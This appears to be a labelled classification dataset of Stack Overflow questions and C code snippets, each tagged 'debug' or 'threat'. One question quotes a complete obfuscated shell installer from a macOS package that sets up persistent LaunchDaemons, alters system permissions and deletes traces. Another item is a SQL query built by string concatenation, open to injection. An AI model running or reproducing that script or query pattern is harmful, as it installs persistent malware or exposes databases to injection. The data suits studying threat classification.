problem stringlengths 26 131k | labels class label 2 classes |
|---|---|
How to retain text between regex matches in Javascript? : I would like to extract some tags from string and perform some operations according to them, but the remaining string should retain with stripped tags and go for further processing.
Is it possible to do this in one run?
For example, if I have a code, which is taking tags:
while (match = regex.exec(str)) {
result.push( match[1] );
}
can I take what between matches simultaneously? | 0debug |
Is it a good practice to put common methods to an abstract class in Python? : <p>I'm using the <a href="https://docs.python.org/3/library/abc.html" rel="noreferrer"><code>abc</code></a> module to define an interface that subclasses must support. There're also some common methods that are present in all subclasses. Is it ok to put them in the abstract class or should that only contain abstract methods (i.e. decorated with <code>@abc.abstractmethod</code>) ?</p>
| 0debug |
connection.query('SELECT * FROM users WHERE username = ' + input_string) | 1threat |
static inline void RENAME(rgb24tobgr16)(const uint8_t *src, uint8_t *dst, int src_size)
{
const uint8_t *s = src;
const uint8_t *end;
const uint8_t *mm_end;
uint16_t *d = (uint16_t *)dst;
end = s + src_size;
__asm__ volatile(PREFETCH" %0"::"m"(*src):"memory");
__asm__ volatile(
"movq %0, %%mm7 \n\t"
"movq %1, %%mm6 \n\t"
::"m"(red_16mask),"m"(green_16mask));
mm_end = end - 11;
while (s < mm_end) {
__asm__ volatile(
PREFETCH" 32%1 \n\t"
"movd %1, %%mm0 \n\t"
"movd 3%1, %%mm3 \n\t"
"punpckldq 6%1, %%mm0 \n\t"
"punpckldq 9%1, %%mm3 \n\t"
"movq %%mm0, %%mm1 \n\t"
"movq %%mm0, %%mm2 \n\t"
"movq %%mm3, %%mm4 \n\t"
"movq %%mm3, %%mm5 \n\t"
"psrlq $3, %%mm0 \n\t"
"psrlq $3, %%mm3 \n\t"
"pand %2, %%mm0 \n\t"
"pand %2, %%mm3 \n\t"
"psrlq $5, %%mm1 \n\t"
"psrlq $5, %%mm4 \n\t"
"pand %%mm6, %%mm1 \n\t"
"pand %%mm6, %%mm4 \n\t"
"psrlq $8, %%mm2 \n\t"
"psrlq $8, %%mm5 \n\t"
"pand %%mm7, %%mm2 \n\t"
"pand %%mm7, %%mm5 \n\t"
"por %%mm1, %%mm0 \n\t"
"por %%mm4, %%mm3 \n\t"
"por %%mm2, %%mm0 \n\t"
"por %%mm5, %%mm3 \n\t"
"psllq $16, %%mm3 \n\t"
"por %%mm3, %%mm0 \n\t"
MOVNTQ" %%mm0, %0 \n\t"
:"=m"(*d):"m"(*s),"m"(blue_16mask):"memory");
d += 4;
s += 12;
}
__asm__ volatile(SFENCE:::"memory");
__asm__ volatile(EMMS:::"memory");
while (s < end) {
const int b = *s++;
const int g = *s++;
const int r = *s++;
*d++ = (b>>3) | ((g&0xFC)<<3) | ((r&0xF8)<<8);
}
}
| 1threat |
av_cold static int fbdev_read_header(AVFormatContext *avctx,
AVFormatParameters *ap)
{
FBDevContext *fbdev = avctx->priv_data;
AVStream *st = NULL;
enum PixelFormat pix_fmt;
int ret, flags = O_RDONLY;
ret = av_parse_video_rate(&fbdev->framerate_q, fbdev->framerate);
if (ret < 0) {
av_log(avctx, AV_LOG_ERROR, "Couldn't parse framerate.\n");
return ret;
}
#if FF_API_FORMAT_PARAMETERS
if (ap->time_base.num)
fbdev->framerate_q = (AVRational){ap->time_base.den, ap->time_base.num};
#endif
if (!(st = av_new_stream(avctx, 0)))
return AVERROR(ENOMEM);
av_set_pts_info(st, 64, 1, 1000000);
if (avctx->flags & AVFMT_FLAG_NONBLOCK)
flags |= O_NONBLOCK;
if ((fbdev->fd = open(avctx->filename, flags)) == -1) {
ret = AVERROR(errno);
av_log(avctx, AV_LOG_ERROR,
"Could not open framebuffer device '%s': %s\n",
avctx->filename, strerror(ret));
return ret;
}
if (ioctl(fbdev->fd, FBIOGET_VSCREENINFO, &fbdev->varinfo) < 0) {
ret = AVERROR(errno);
av_log(avctx, AV_LOG_ERROR,
"FBIOGET_VSCREENINFO: %s\n", strerror(errno));
goto fail;
}
if (ioctl(fbdev->fd, FBIOGET_FSCREENINFO, &fbdev->fixinfo) < 0) {
ret = AVERROR(errno);
av_log(avctx, AV_LOG_ERROR,
"FBIOGET_FSCREENINFO: %s\n", strerror(errno));
goto fail;
}
pix_fmt = get_pixfmt_from_fb_varinfo(&fbdev->varinfo);
if (pix_fmt == PIX_FMT_NONE) {
ret = AVERROR(EINVAL);
av_log(avctx, AV_LOG_ERROR,
"Framebuffer pixel format not supported.\n");
goto fail;
}
fbdev->width = fbdev->varinfo.xres;
fbdev->heigth = fbdev->varinfo.yres;
fbdev->bytes_per_pixel = (fbdev->varinfo.bits_per_pixel + 7) >> 3;
fbdev->frame_linesize = fbdev->width * fbdev->bytes_per_pixel;
fbdev->frame_size = fbdev->frame_linesize * fbdev->heigth;
fbdev->time_frame = AV_NOPTS_VALUE;
fbdev->data = mmap(NULL, fbdev->fixinfo.smem_len, PROT_READ, MAP_SHARED, fbdev->fd, 0);
if (fbdev->data == MAP_FAILED) {
ret = AVERROR(errno);
av_log(avctx, AV_LOG_ERROR, "Error in mmap(): %s\n", strerror(errno));
goto fail;
}
st->codec->codec_type = AVMEDIA_TYPE_VIDEO;
st->codec->codec_id = CODEC_ID_RAWVIDEO;
st->codec->width = fbdev->width;
st->codec->height = fbdev->heigth;
st->codec->pix_fmt = pix_fmt;
st->codec->time_base = (AVRational){fbdev->framerate_q.den, fbdev->framerate_q.num};
st->codec->bit_rate =
fbdev->width * fbdev->heigth * fbdev->bytes_per_pixel * av_q2d(fbdev->framerate_q) * 8;
av_log(avctx, AV_LOG_INFO,
"w:%d h:%d bpp:%d pixfmt:%s fps:%d/%d bit_rate:%d\n",
fbdev->width, fbdev->heigth, fbdev->varinfo.bits_per_pixel,
av_pix_fmt_descriptors[pix_fmt].name,
fbdev->framerate_q.num, fbdev->framerate_q.den,
st->codec->bit_rate);
return 0;
fail:
close(fbdev->fd);
return ret;
}
| 1threat |
Visual Studio 2015 - decimal to integer conversion error : I'm working on a school project using VIsual Studio 2015, the assignment is to create GUI "Commute Calculator" with three options for mode of transportation. I've wrote the code following the instructions in my textbook but am getting the following error "*BC30057 Too many arguments to 'Private Function CarFindCost(intCommuteChoice As Integer, intDays As Integer) As Decimal*'."
I'm a newbie to vs, but based on the error I believe the problem is with how I declared variables. I googled how to convert an integer to decimal, but haven't found anything that worked. The code is lengthy, but I included it all as an FYI. The error is in the private sub btnCommute and appears to be tied to three private functions: CarFindCost, BusFindCost and TrainFindCost. How to I fix it so I don't get errors on the variable intLength in the private sub bthCommute?
Option Strict On
Public Class frmCommuteCalc
Dim intCommuteChoice As Integer
Dim strSelectedMode As String = ""
Private _strGas As Integer
Private _strMiles As String = "Enter the total miles for a round trip: "
Private _strMilesPerGallon As Double = 2.15
Private _strDailyParking As Decimal = 10
Private _strMonthlyParking As Decimal
Private _strMonthlyUpkeep As Decimal = 112
Private _strRTBusFare As String = "Round trip bus fare is "
Private _strRTTrainFare As String = "Round trip train fare is "
Private _StrDays As String = "Enter the number of days worked per month: "
Private _intTrainFare As Integer
Private Sub frmCommuteCalc_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Threading.Thread.Sleep(5000)
End Sub
Private Sub cboCommuteMethod_SelectedIndexChanged(sender As Object, e As EventArgs) Handles cboCommuteMethod.SelectedIndexChanged
Dim intCommuteChoice As Integer
intCommuteChoice = cboCommuteMethod.SelectedIndex()
lstCommute.Items.Clear()
Select Case intCommuteChoice
Case 0
Car()
Case 1
Train()
Case 2
Bus()
End Select
lblDays.Visible = True
lblMiles.Visible = True
lblLength.Visible = True
txtDays.Visible = True
'txtMonthlyTotal.Visible = True
End Sub
Private Sub btnCompute_Click(sender As Object, e As EventArgs) Handles btnCompute.Click
Dim intCommuteChoice As Integer
Dim intDaysPerMonth As Integer
Dim decTotalCost As Decimal
Dim intLength As Integer = 0
Dim strSelectedMode As String = ""
Dim blnNumberInDaysIsValid As Boolean = False
Dim blnCommuteMethodIsSelected As Boolean = False
blnNumberInDaysIsValid = ValidateNumberInDays()
intCommuteChoice = ValidateCommuteSelection(blnCommuteMethodIsSelected, strSelectedMode)
If (blnNumberInDaysIsValid And blnCommuteMethodIsSelected) Then
intDaysPerMonth = Convert.ToInt32(txtDays.Text)
intCommuteChoice = cboCommuteMethod.SelectedIndex()
Select Case intCommuteChoice
Case 0
decTotalCost = CarFindCost(intCommuteChoice, intDaysPerMonth, intLength)
Case 1
decTotalCost = BusFindCost(intCommuteChoice, intDaysPerMonth, intLength)
Case 2
decTotalCost = TrainFindCost(intCommuteChoice, intDaysPerMonth, intLength)
End Select
End If
End Sub
Private Function intLength() As Object
Throw New NotImplementedException()
End Function
Function ComputeCommuteCost(ByVal decMiles As Decimal, ByVal decGallons As Decimal) As Decimal
Dim decMilage As Decimal
decMilage = decMiles / decGallons
Return decMilage
End Function
Private Sub Car()
lstCommute.Items.Add(_strMiles)
lstCommute.Items.Add(_strMilesPerGallon)
lstCommute.Items.Add(_StrDays)
lstCommute.Items.Add(_strMonthlyParking)
lstCommute.Items.Add(_strMonthlyUpkeep)
End Sub
Private Sub Bus()
lstCommute.Items.Add(_strRTBusFare)
lstCommute.Items.Add(_StrDays)
End Sub
Private Sub Train()
lstCommute.Items.Add(_StrDays)
lstCommute.Items.Add(_strRTTrainFare)
End Sub
Private Function ValidateNumberInDays() As Boolean
Dim intDays As Integer
Dim blnValidityCheck As Boolean = False
Dim strNumberInDaysMessage As String = "Please enter the No. of days per month you will be commuting "
Dim strMessageBoxTitle As String = "Error"
Try
intDays = Convert.ToInt32(txtDays.Text)
If intDays >= 1 And intDays <= 21 Then
blnValidityCheck = True
Else
MsgBox(strNumberInDaysMessage, , strMessageBoxTitle)
txtDays.Focus()
txtDays.Clear()
End If
Catch Exception As FormatException
MsgBox(strNumberInDaysMessage, , strMessageBoxTitle)
txtDays.Focus()
txtDays.Clear()
Catch Exception As OverflowException
MsgBox(strNumberInDaysMessage, , strMessageBoxTitle)
txtDays.Focus()
txtDays.Clear()
Catch Exception As SystemException
MsgBox(strNumberInDaysMessage, , strMessageBoxTitle)
txtDays.Focus()
txtDays.Clear()
End Try
Return blnValidityCheck
End Function
Private Function ValidateCommuteSelection(ByRef blnDays As Boolean, ByRef strDays As String) As Integer
Dim intCommuteChoice As Integer
Try
intCommuteChoice = Convert.ToInt32(lstCommute.SelectedIndex)
strDays = lstCommute.SelectedItem.ToString()
blnDays = True
Catch Exception As SystemException
MsgBox("Select a commute mode", , "Error")
blnDays = False
End Try
Return intCommuteChoice
End Function
Private Function CarFindCost(ByVal intCommuteChoice As Integer, ByVal intDays As Integer) As Decimal
Dim decDaysPerMonth As Decimal
Dim decMiles As Decimal
Dim decMilesPerGallon As Decimal = 2
Dim decGasTotal As Decimal
Dim decDailyParking As Decimal = 10
Dim decMonthlyParking As Decimal
Dim decMonthlyUpkeep As Decimal = 112
Dim decFinalCost As Decimal
Dim intLength As Integer = 0
decMiles = Convert.ToDecimal(txtMiles.Text)
decMilesPerGallon = Convert.ToDecimal(txtGallons.Text)
decGasTotal = decMilesPerGallon * decMiles
decMonthlyParking = Convert.ToDecimal(lblLength.Text)
decMonthlyParking = decDailyParking * decDaysPerMonth
decFinalCost = Convert.ToDecimal(lblLength.Text)
decFinalCost = decGasTotal + decMonthlyUpkeep + decMonthlyParking
Return decFinalCost
End Function
Private Function BusFindCost(ByVal intCommuteChoice As Integer, ByVal intDays As Integer) As Decimal
Dim intLength As Integer = 0
Dim decDaysPerMonth As Decimal
Dim decBusFarePerDay As Decimal = 4
Dim decFinalCost As Decimal
decBusFarePerDay = Convert.ToDecimal(txtMonthlyTotal)
decFinalCost = decBusFarePerDay * decDaysPerMonth
Return decFinalCost
End Function
Private Function TrainFindCost(ByVal intCommuteChoice As Integer, ByVal intDays As Integer) As Decimal
Dim intLength As Integer = 0
Dim decDaysPerMonth As Decimal
Dim decTrainFarePerDay As Decimal = 18
Dim decFinalCost As Decimal
decTrainFarePerDay = Convert.ToDecimal(txtMonthlyTotal)
decFinalCost = Convert.ToDecimal(txtMonthlyTotal)
decFinalCost = decDaysPerMonth * decTrainFarePerDay
Return decFinalCost
End Function
End Class
| 0debug |
Python Turtle draw : this should be draw circle by 3 random colors, but this code draw circle without color.
import turtle
window=turtle.Screen()
tess= turtle. Turtle()
import random
def getColor():
color=random.randint(1,3)
if color==1:
color="red"
elif color==2:
color=="yellow"
elif color==3:
color=="blue"
return color
print (random.randint(1,3))
def drawFace (x,y):
tess.penup()
tess.goto(x+5,y+10)
tess.circle(10)
tess.goto(x+15,y+10)
tess.circle(10)
tess.pendown()
| 0debug |
Jquery Check if Value Input is in the array : <p>I want to check if my array contains the Value Input, i want something like that, anyone have an idea on how to do that ?</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>if(jQuery.inArray($('#ValueInputTitle').val, variableValueInput) !== -1)
{
console.log("is in array");}
else {
console.log("is NOT in array");
}</code></pre>
</div>
</div>
</p>
| 0debug |
Elastic Search number of object passed must be even : <p>I am learning about elastic search and I am following <a href="https://www.adictosaltrabajo.com/tutoriales/primeros-pasos-elasticsearch/" rel="noreferrer">the next tutorial</a>, but I get the next error </p>
<pre><code>Exception in thread "main" java.lang.IllegalArgumentException: The number of object passed must be even but was [1]
at org.elasticsearch.action.index.IndexRequest.source(IndexRequest.java:451)
at elastic.elasti.App.lambda$0(App.java:55)
at java.util.ArrayList.forEach(ArrayList.java:1249)
at elastic.elasti.App.indexExampleData(App.java:53)
at elastic.elasti.App.main(App.java:45)
</code></pre>
<p>Could you help me to fix it please?</p>
<pre><code>public class App
{
public static void main( String[] args ) throws TwitterException, UnknownHostException
{
System.out.println( "Hello World!" );
List tweetJsonList = searchForTweets();
Client client = TransportClient.builder().build()
.addTransportAddress(new InetSocketTransportAddress(InetAddress.getByName("localhost"), 9300));
String index = "tweets_juan";
client.admin().indices()
.create(new CreateIndexRequest(index))
.actionGet();
indexExampleData(client, tweetJsonList, index);
searchExample(client);
}
public static void indexExampleData(Client client, List tweetJsonList, String index) {
BulkRequestBuilder bulkRequestBuilder = client.prepareBulk();
tweetJsonList.forEach((jsonTweet) -> {
bulkRequestBuilder.add(new IndexRequest(index, "tweets_juan")
.source(jsonTweet));
});
BulkResponse bulkItemResponses = bulkRequestBuilder.get();
}
public static void searchExample(Client client) {
BoolQueryBuilder queryBuilder = QueryBuilders
.boolQuery()
.must(termsQuery("text", "españa"));
SearchResponse searchResponse = client.prepareSearch("tweets_juan")
.setQuery(queryBuilder)
.setSize(25)
.execute()
.actionGet();
}
public static List searchForTweets() throws TwitterException {
Twitter twitter = new TwitterFactory().getInstance();
Query query = new Query("mundial baloncesto");
List tweetList = new ArrayList<>();
for (int i = 0; i < 10; i++) {
QueryResult queryResult = twitter.search(query);
tweetList.addAll(queryResult.getTweets());
if (!queryResult.hasNext()) {
break;
}
query = queryResult.nextQuery();
}
Gson gson = new Gson();
return (List) tweetList.stream().map(gson::toJson).collect(Collectors.toList());
}
}
</code></pre>
| 0debug |
Malicious obfuscated shell code found in package. Any way to de-obfuscate? : <p>I started analyzing a PKG file after my firewall triggered incoming connections and it looks like some sort of hidden bitcoin miner using the QEMU Emulator.
After decompiling the package I found some .SH scripts but it looks like it's been encrypted by bash-obfuscate Node.js CLI utility.
I've been searching for ways to de-obfuscate the code and see what actually happens but haven't found any answers.
Hoping someone here has more insight!</p>
<p>Code found in one of the SH files:</p>
<pre><code>z="
";REz='bin/';nDz='al/b';jDz='$z1';Ez=' -pr';YCz='mewo';KGz='ad -';SCz='R ad';Kz='F. '\''';iEz='1111';kFz='list';sFz='z22/';NFz='hDae';ABz='Volu';wz='dmg';eBz='usr/';DBz='alle';UCz='al/C';uCz='"$( ';KFz='t /L';sBz='unct';QDz='wd ';ZDz='3="$';bz='" |w';sEz='\ Su';Fz='oduc';xEz='/CCC';OGz='wd';pEz='/App';ZFz='om.$';az='=hvf';tCz='z11=';OCz='logn';LGz='w /L';wBz='5 /u';kCz='$( /';LBz='rdat';IGz='chct';fCz='/sit';gFz='Daem';vFz='333.';TGz='cow2';xz='cp -';fFz='unch';ZBz=' /us';VBz='/bin';XEz='atio';lz='til ';gBz='l/Fr';fz=' $CH';cDz='ibra';Sz='name';PDz='rand';WFz='nchD';KEz='$z2/';WBz='/chm';aFz='1.pl';iz=']';ez='if [';TEz=' /Li';CDz='="$(';oz='nove';DCz='l/sh';fEz='" "s';GGz='$z33';iBz='orks';iFz='com.';CCz='sh /';xBz='sr/l';XBz='od g';TBz='s/In';mEz='1/" ';MEz='/z3 ';Hz='sion';uBz='od -';JFz='plis';ODz='red/';FFz='2/" ';LCz='n/ch';tEz='ppor';IFz='222/';dEz='sed ';xFz='3.pl';JBz='ch $';VGz='z3.p';yz='pR /';HBz='al/';AFz='/DDD';yDz=' Sup';uFz='.$z3';OEz='chmo';GFz='2/$z';yCz='ndwd';dz='`';XCz='/Fra';oEz='rary';Pz='all_';SDz='z2="';mFz='z11/';Cz='(sw_';wEz='11';eFz='y/La';ZEz='uppo';sDz='on /';UDz='z222';qBz='h/si';NCz='-R `';EBz='r/* ';Xz='|gre';tBz='ions';HCz='-fun';Az='osve';GBz='/loc';eEz='-i "';Vz='`ps ';gEz='/AAA';rDz='daem';Wz='aux ';qEz='lica';eDz='ppli';JEz='2';oCz='/ran';PEz='d -R';jCz='z1="';qz=' $in';fDz='cati';SFz='t';KDz='1="$';WGz='fi';yFz='z33/';IDz='d )';OFz='mons';tDz='Libr';yBz='ocal';Yz='p "a';QBz='orce';gz='K -e';EDz='ers/';IBz='deta';SEz='Chmo';QCz='/chg';TCz='min ';nz='ch -';qFz='z2/"';Iz=' | a';RGz='z1.p';pBz='e/zs';dCz='in /';nCz='ared';QEz=' 700';cBz='Cell';DGz='11/$';DEz='qcow';nEz='/Lib';HFz='22';NGz='f /U';YFz='ns/c';rCz='ware';BCz='re/z';GCz='site';mz='atta';DDz=' /Us';CGz='/z11';YBz='+rwx';cFz='/TR3';bBz='cal/';sz='l_di';mCz='s/Sh';MDz='sers';aBz='r/lo';lDz='cp /';WDz='z3="';MBz='a.dm';ACz='/sha';JGz='l lo';FGz='22/$';vCz='/Use';tFz='/z3.';jFz='11.p';aCz='al/o';BEz='/$z1';vz='ata.';qCz='Soft';yEz='C/$z';BFz='D/$z';hBz='amew';vEz='1/$z';Mz='nt $';bDz='r /L';MCz='own ';EEz='2 /L';pCz='dwd ';Dz='vers';GDz='ed/r';Jz='wk -';Zz='ccel';RBz=' /Vo';LEz='$z22';rEz='tion';EFz='2222';Nz='2}'\'')';CFz='111/';Uz='CHK=';hFz='ons/';TDz='z22=';xDz='ion\';UEz='brar';AEz='port';QGz='n';KCz='/sbi';PFz='/com';dDz='ry/A';VCz='ella';mDz='/z1 ';UFz='00/$';gCz='e-fu';Bz='rs=$';jBz='opt ';bFz='ist';XDz='z33=';HGz='laun';BBz='mes/';NDz='/Sha';iDz='ort/';XFz='aemo';tz='r/in';GEz='$z11';Tz=' $0`';LDz='( /U';pFz='2.pl';nBz='/zsh';JDz='"';cEz='z2/';hDz='Supp';aEz='rt/$';CEz='1';Rz='`dir';FBz='/usr';MGz='rm -';wCz='rs/S';UGz='z3';BGz='4 /L';HDz='andw';nFz='.$z2';lCz='User';AGz='d 64';YEz='n\ S';ADz=' )"';gDz='on\ ';QFz='.$z1';sCz=' )"';ECz='are/';lEz='B/$z';iCz='ons';xCz='d/ra';wFz='3/" ';KBz='dir/';bCz='pt /';qDz='/z1.';ZCz='rks ';hCz='ncti';bEz='z1/';jEz='/" /';MFz='aunc';DFz='" /L';ICz='ctio';dFz='z1/"';aDz='mkdi';lBz='bin ';RDz=')"';SGz='z1.q';eCz='zsh ';rBz='te-f';Oz='inst';FCz='zsh/';RFz='111.';oDz='in/$';dBz='ar /';NBz='g';YDz='z333';CBz='Inst';kBz='al/s';SBz='lume';kEz='/BBB';VDz='2="$';NEz='z33';PCz='ame`';PBz='t -f';pz='rify';RCz='rp -';WCz='r /u';cCz='l/sb';FEz='$z1/';wDz='icat';VFz='/Lau';TFz='/ZY1';lFz='/TR2';mBz='hare';fBz='loca';Lz='{pri';kDz='$z2';cz='c -l';HEz='z2';oFz='222.';VEz='y/Ap';IEz='/$z2';jz='then';pDz='z1';BDz='z111';Qz='dir=';uEz='t/$z';uDz='ary/';JCz='ns';rz='stal';OBz='ejec';LFz='ry/L';Gz='tVer';UBz='ler';kz='hdiu';hz='q 1 ';oBz='shar';EGz='/z22';hEz='A/$z';vDz='Appl';FDz='Shar';PGz='z1.d';uz='lerd';rFz='22.p';vBz='R 75';WEz='plic';
eval "$Az$Bz$Cz$Dz$Ez$Fz$Gz$Hz$Iz$Jz$Kz$Lz$Mz$Nz$z$Oz$Pz$Qz$Rz$Sz$Tz$z$Uz$Vz$Wz$Xz$Yz$Zz$az$bz$cz$dz$z$ez$fz$gz$hz$iz$z$jz$z$kz$lz$mz$nz$oz$pz$qz$rz$sz$tz$rz$uz$vz$wz$z$xz$yz$ABz$BBz$CBz$DBz$EBz$FBz$GBz$HBz$z$kz$lz$IBz$JBz$Oz$Pz$KBz$Oz$DBz$LBz$MBz$NBz$z$kz$lz$OBz$PBz$QBz$RBz$SBz$TBz$rz$UBz$z$VBz$WBz$XBz$YBz$ZBz$aBz$bBz$cBz$dBz$eBz$fBz$gBz$hBz$iBz$ZBz$aBz$bBz$jBz$FBz$GBz$kBz$lBz$FBz$GBz$kBz$mBz$nBz$ZBz$aBz$bBz$oBz$pBz$qBz$rBz$sBz$tBz$z$VBz$WBz$uBz$vBz$wBz$xBz$yBz$ACz$BCz$CCz$eBz$fBz$DCz$ECz$FCz$GCz$HCz$ICz$JCz$z$FBz$KCz$LCz$MCz$NCz$OCz$PCz$ZBz$aBz$bBz$cBz$dBz$eBz$fBz$gBz$hBz$iBz$ZBz$aBz$bBz$jBz$FBz$GBz$kBz$lBz$FBz$GBz$kBz$mBz$nBz$ZBz$aBz$bBz$oBz$pBz$qBz$rBz$sBz$tBz$z$FBz$VBz$QCz$RCz$SCz$TCz$FBz$GBz$UCz$VCz$WCz$xBz$yBz$XCz$YCz$ZCz$FBz$GBz$aCz$bCz$eBz$fBz$cCz$dCz$eBz$fBz$DCz$ECz$eCz$FBz$GBz$kBz$mBz$nBz$fCz$gCz$hCz$iCz$z$jCz$kCz$lCz$mCz$nCz$oCz$pCz$qCz$rCz$sCz$z$tCz$uCz$vCz$wCz$mBz$xCz$yCz$ADz$z$BDz$CDz$DDz$EDz$FDz$GDz$HDz$IDz$JDz$z$BDz$KDz$LDz$MDz$NDz$ODz$PDz$QDz$RDz$z$SDz$kCz$lCz$mCz$nCz$oCz$pCz$qCz$rCz$sCz$z$TDz$uCz$vCz$wCz$mBz$xCz$yCz$ADz$z$UDz$CDz$DDz$EDz$FDz$GDz$HDz$IDz$JDz$z$UDz$VDz$LDz$MDz$NDz$ODz$PDz$QDz$RDz$z$WDz$kCz$lCz$mCz$nCz$oCz$pCz$sCz$z$XDz$uCz$vCz$wCz$mBz$xCz$yCz$ADz$z$YDz$ZDz$LDz$MDz$NDz$ODz$PDz$QDz$RDz$z$aDz$bDz$cDz$dDz$eDz$fDz$gDz$hDz$iDz$jDz$z$aDz$bDz$cDz$dDz$eDz$fDz$gDz$hDz$iDz$kDz$z$lDz$lCz$mCz$nCz$mDz$FBz$GBz$nDz$oDz$pDz$z$lDz$lCz$mCz$nCz$qDz$rDz$sDz$tDz$uDz$vDz$wDz$xDz$yDz$AEz$BEz$BEz$CEz$z$lDz$lCz$mCz$nCz$qDz$DEz$EEz$cDz$dDz$eDz$fDz$gDz$hDz$iDz$FEz$GEz$CEz$z$lDz$lCz$mCz$nCz$mDz$FBz$GBz$nDz$oDz$HEz$z$lDz$lCz$mCz$nCz$qDz$rDz$sDz$tDz$uDz$vDz$wDz$xDz$yDz$AEz$IEz$IEz$JEz$z$lDz$lCz$mCz$nCz$qDz$DEz$EEz$cDz$dDz$eDz$fDz$gDz$hDz$iDz$KEz$LEz$JEz$z$lDz$lCz$mCz$nCz$MEz$FBz$GBz$nDz$oDz$NEz$z$OEz$PEz$QEz$ZBz$aBz$bBz$REz$jDz$z$OEz$PEz$QEz$ZBz$aBz$bBz$REz$kDz$z$SEz$PEz$QEz$TEz$UEz$VEz$WEz$XEz$YEz$ZEz$aEz$bEz$z$SEz$PEz$QEz$TEz$UEz$VEz$WEz$XEz$YEz$ZEz$aEz$cEz$z$dEz$eEz$fEz$gEz$hEz$iEz$jEz$tDz$uDz$vDz$wDz$xDz$yDz$AEz$BEz$BEz$CEz$z$dEz$eEz$fEz$kEz$lEz$mEz$nEz$oEz$pEz$qEz$rEz$sEz$tEz$uEz$vEz$wEz$z$dEz$eEz$fEz$xEz$yEz$mEz$nEz$oEz$pEz$qEz$rEz$sEz$tEz$uEz$vEz$wEz$z$dEz$eEz$fEz$AFz$BFz$CFz$DFz$cDz$dDz$eDz$fDz$gDz$hDz$iDz$FEz$GEz$z$dEz$eEz$fEz$gEz$hEz$EFz$jEz$tDz$uDz$vDz$wDz$xDz$yDz$AEz$IEz$IEz$JEz$z$dEz$eEz$fEz$kEz$lEz$FFz$nEz$oEz$pEz$qEz$rEz$sEz$tEz$uEz$GFz$HFz$z$dEz$eEz$fEz$xEz$yEz$FFz$nEz$oEz$pEz$qEz$rEz$sEz$tEz$uEz$GFz$HFz$z$dEz$eEz$fEz$AFz$BFz$IFz$DFz$cDz$dDz$eDz$fDz$gDz$hDz$iDz$KEz$LEz$z$lDz$lCz$mCz$nCz$qDz$JFz$KFz$cDz$LFz$MFz$NFz$OFz$PFz$QFz$RFz$JFz$SFz$z$dEz$eEz$fEz$TFz$UFz$BDz$mEz$nEz$oEz$VFz$WFz$XFz$YFz$ZFz$BDz$aFz$bFz$z$dEz$eEz$fEz$cFz$UFz$dFz$TEz$UEz$eFz$fFz$gFz$hFz$iFz$GEz$jFz$kFz$z$dEz$eEz$fEz$lFz$UFz$mFz$DFz$cDz$LFz$MFz$NFz$OFz$PFz$QFz$RFz$JFz$SFz$z$lDz$lCz$mCz$nCz$qDz$JFz$KFz$cDz$LFz$MFz$NFz$OFz$PFz$nFz$oFz$JFz$SFz$z$dEz$eEz$fEz$TFz$UFz$UDz$FFz$nEz$oEz$VFz$WFz$XFz$YFz$ZFz$UDz$pFz$bFz$z$dEz$eEz$fEz$cFz$UFz$qFz$TEz$UEz$eFz$fFz$gFz$hFz$iFz$LEz$rFz$kFz$z$dEz$eEz$fEz$lFz$UFz$sFz$DFz$cDz$LFz$MFz$NFz$OFz$PFz$nFz$oFz$JFz$SFz$z$lDz$lCz$mCz$nCz$tFz$JFz$KFz$cDz$LFz$MFz$NFz$OFz$PFz$uFz$vFz$JFz$SFz$z$dEz$eEz$fEz$TFz$UFz$YDz$wFz$nEz$oEz$VFz$WFz$XFz$YFz$ZFz$YDz$xFz$bFz$z$dEz$eEz$fEz$lFz$UFz$yFz$DFz$cDz$LFz$MFz$NFz$OFz$PFz$uFz$vFz$JFz$SFz$z$OEz$AGz$BGz$cDz$LFz$MFz$NFz$OFz$PFz$QFz$RFz$JFz$SFz$z$OEz$AGz$BGz$cDz$LFz$MFz$NFz$OFz$PFz$nFz$oFz$JFz$SFz$z$OEz$AGz$BGz$cDz$LFz$MFz$NFz$OFz$PFz$uFz$vFz$JFz$SFz$z$dEz$eEz$fEz$CGz$DGz$BDz$mEz$FBz$GBz$nDz$oDz$NEz$z$dEz$eEz$fEz$EGz$FGz$UDz$FFz$FBz$GBz$nDz$oDz$NEz$z$OEz$PEz$QEz$ZBz$aBz$bBz$REz$GGz$z$HGz$IGz$JGz$KGz$LGz$cDz$LFz$MFz$NFz$OFz$PFz$QFz$RFz$JFz$SFz$z$HGz$IGz$JGz$KGz$LGz$cDz$LFz$MFz$NFz$OFz$PFz$nFz$oFz$JFz$SFz$z$HGz$IGz$JGz$KGz$LGz$cDz$LFz$MFz$NFz$OFz$PFz$uFz$vFz$JFz$SFz$z$MGz$NGz$MDz$NDz$ODz$PDz$OGz$z$MGz$NGz$MDz$NDz$ODz$pDz$z$MGz$NGz$MDz$NDz$ODz$PGz$XFz$QGz$z$MGz$NGz$MDz$NDz$ODz$RGz$kFz$z$MGz$NGz$MDz$NDz$ODz$SGz$TGz$z$MGz$NGz$MDz$NDz$ODz$UGz$z$MGz$NGz$MDz$NDz$ODz$VGz$kFz$z$WGz"
</code></pre>
| 0debug |
Getting an error while running this tsql code : I am getting errors when I write this code. How can I fix it?
It says the error is on 'in'
CREATE PROC spPracticum
(
@MaxCountry As VARCHAR,
@MinCountry As VARCHAR
)
As
SELECT [Country]
,[Year]
,[Subscribers]
,c.[name]
FROM [dbo].[cell phone subscribers] as s
join [dbo].[countries] as c on s.[Country] = c.[country-code]
WHERE @MinCountry <= Country AND @MaxCountry >= Country IN (SELECT max(Subscribers) from [dbo].[cell phone subscribers] )
ORDER by Year | 0debug |
static void bmdma_write(void *opaque, target_phys_addr_t addr,
uint64_t val, unsigned size)
{
BMDMAState *bm = opaque;
if (size != 1) {
return;
}
#ifdef DEBUG_IDE
printf("bmdma: writeb 0x%02x : 0x%02x\n", addr, val);
#endif
switch (addr & 3) {
case 0:
bmdma_cmd_writeb(bm, val);
break;
case 2:
bm->status = (val & 0x60) | (bm->status & 1) | (bm->status & ~val & 0x06);
break;
default:;
}
}
| 1threat |
od_graph_def = tf.GraphDef() AttributeError: module 'tensorflow' has no attribute 'GraphDef' : <p>I have a mac and I am using tensorflow 2.0, python 3.7.
I am following the tutorial for creating an object detection model for real-time application.
but i am getting the following error:</p>
<p>"Downloads/models/research/object_detection/object_detection_tutorial.py", line 43, in
od_graph_def = tf
od_graph_def = tf.GraphDef()</p>
<p>AttributeError: module 'tensorflow' has no attribute 'GraphDef'</p>
